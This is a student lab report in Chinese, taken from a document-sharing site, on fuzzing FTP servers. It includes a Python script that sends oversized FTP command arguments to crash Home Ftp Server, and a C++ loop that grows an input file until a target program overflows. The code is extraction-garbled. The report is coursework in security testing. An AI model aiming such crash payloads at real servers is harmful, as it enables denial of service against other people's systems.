收藏 分享(赏)

软件安全实验第五次实验报告.docx

上传人:dreamzhangning 文档编号:2722866 上传时间:2018-09-26 格式:DOCX 页数:11 大小:1.20MB
下载 相关 举报
软件安全实验第五次实验报告.docx_第1页
第1页 / 共11页
软件安全实验第五次实验报告.docx_第2页
第2页 / 共11页
软件安全实验第五次实验报告.docx_第3页
第3页 / 共11页
软件安全实验第五次实验报告.docx_第4页
第4页 / 共11页
软件安全实验第五次实验报告.docx_第5页
第5页 / 共11页
点击查看更多>>
资源描述

1、软件安全第五次实验报告班级:2010211316 学号:10211593 姓名:曹梦晨1、目标(1) 了解 fuzz 的基本原理(2) 通过 FtpFuzz 来 fuzz easy ftp server 的服务器,使服务器停止工作(3) 自己编写或修改 Python 脚本来自己编写 FTP FUZZ 简单工具,并用其来对 Home Ftp Server 进行 Fuzz,使服务器停止工作,可以用 OllyDbg 附加查看异常。(4) 作业要求:a) 详述跟踪调试过程b) 实验结果需要截图证明c) 提交生成的畸形文件,fuzz 程序源代码等文件(5) 思考题开发一个针对文件溢出的目标程序的 fuz

2、z 程序,使目标程序崩溃。要求生成攻击测试文件并通过程序自动加载,并确定从哪个文件开始出现程序崩溃。2、测试步骤与结果2.1 利用 FtpFuzz 进行攻击Step1:首先利用 Quickn Easy FTP Server 搭建服务器图 2-1 利用 Quickn Easy FTP Server 搭建服务器设置匿名用户、开启下载权限并设置 ftp 的路径为 d:test,然后开启服务器:图 2-2 配置 Quickn Easy FTP Server图 2-3 配置 Quickn Easy FTP Server(2)图 2-4 配置 Quickn Easy FTP Server(3)Step2:

3、利用 FtpFuzz.exe 进行 fuzz 攻击首先对攻击的参数进行配置:图 2-5 配置 FtpFuzz图 2-6 配置 FtpFuzz(2)使用 ipconfig 指令查看本机 ip 地址,对 FtpFuzz 进行配置:图 2-7 查看本机 ip 地址图 2-8 配置 FtpFuzz(3)图 2-9 配置点击 start 进行 fuzz 攻击图 2-10 服务器端数据接收情况可能由于系统的原因,fuzz 并没有成功。所以果断转战 windows xp sp3,和之前配置一样,在虚拟机中进行了 Fuzz 攻击实验,结果如下:图 2-11 xp 下实验结果示意图这里可以看到服务器受到 Fuz

4、z 攻击后,已经崩溃,攻击成功!2.2 利用 python 脚本进行攻击Step1:首先配置 Home Ftp Server图 2-12 配置 Home Ftp Server图 2-13 启动 Home Ftp Server图 2-14 使用 IDLE 打开 fuzz.py由于下载的 python 编译器版本为 3.3.2,print 函数和 send 函数的用法都要修改,在查找了网上资料后,将代码修改如下:import socket,sysdef ftp_test(ip,port1):target = ipport = port1buf = ba*272j=1fuzzcmd = bmdele

5、te ,bcd ,bmkdir ,bdelete ,bcwd ,bmdir ,bmput ,bmls ,brename ,bsite index s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)try:connct = s.connect(target,port)print (+ Connected!)except:print (! Connection Failed!)sys.exit(0)s.recv(1024)s.send(bUSER testrn)s.recv(1024)s.send(bPASS 123456rn)s.recv(102

6、4)print (+ Sending payload.)for i in fuzzcmd:s.send(i + buf*j + brn)s.send(i + buf*j*4 + brn)s.send(i + buf*j*8 + brn)s.send(i + buf*j*40 + brn)try:s.recv(1024)print (! Fuzz failed!)except:print (+ Maybe we find a bug!)if _name_ = _main_:ftp_test(b127.0.0.1,21)运行 fuzz.py,程序运行结果如下所示:图 2-15 程序运行结果图 2-

7、16 服务器端状况3、测试结论我还能说些什么呢?win7 下的安全机制导致 fuzz 攻击都失效,每次实验都遭到 win7 系统的荼毒,虽然多次失败,但是让我加深了对 win7 的认识。转到虚拟机中的 winxp 时,就会成功。上次想利用函数的固定地址来解决 win7 的,后来发现有一个 api 可以解决这个问题,即 GetProcAddress(),可以获取对应api 的地址。4、思考题开发一个针对文件溢出的目标程序的 fuzz 程序,使目标程序崩溃。要求生成攻击测试文件并通过程序自动加载,并确定从哪个文件开始出现程序崩溃。这里已知 overflow_exe.exe 调用了 password

8、.txt,并读取了其中的信息,所以尝试向其中写入 fuzz 数据,并不停增加数据量,直到程序崩溃为止,代码和运行结果如下所示:#include #include using namespace std;int main()int i = 0;while (1)FILE *p_file = fopen(“password.txt“, “a+“);if (p_file = NULL)cout “打开文件失败“ endl;return -1;fprintf(p_file, “?“);i+;if (system(“overflow_exe.exe“) 0)cout “程序在第“ i “次添加后崩溃“ endl;fclose(p_file);return -1;fclose(p_file);return 0;图 4-1 overflow_exe.exe 崩溃结果图 4-2 fuzz 程序运行结果这里可以看出,在添加了 1131 个?后,overflow_exe.exe 崩溃,对应的 fuzz文件如下所示:图 4-3 fuzz 文件示意

展开阅读全文
相关资源
猜你喜欢
相关搜索

当前位置:首页 > 高等教育 > 大学课件

本站链接:文库   一言   我酷   合作


客服QQ:2549714901微博号:道客多多官方知乎号:道客多多

经营许可证编号: 粤ICP备2021046453号世界地图

道客多多©版权所有2020-2025营业执照举报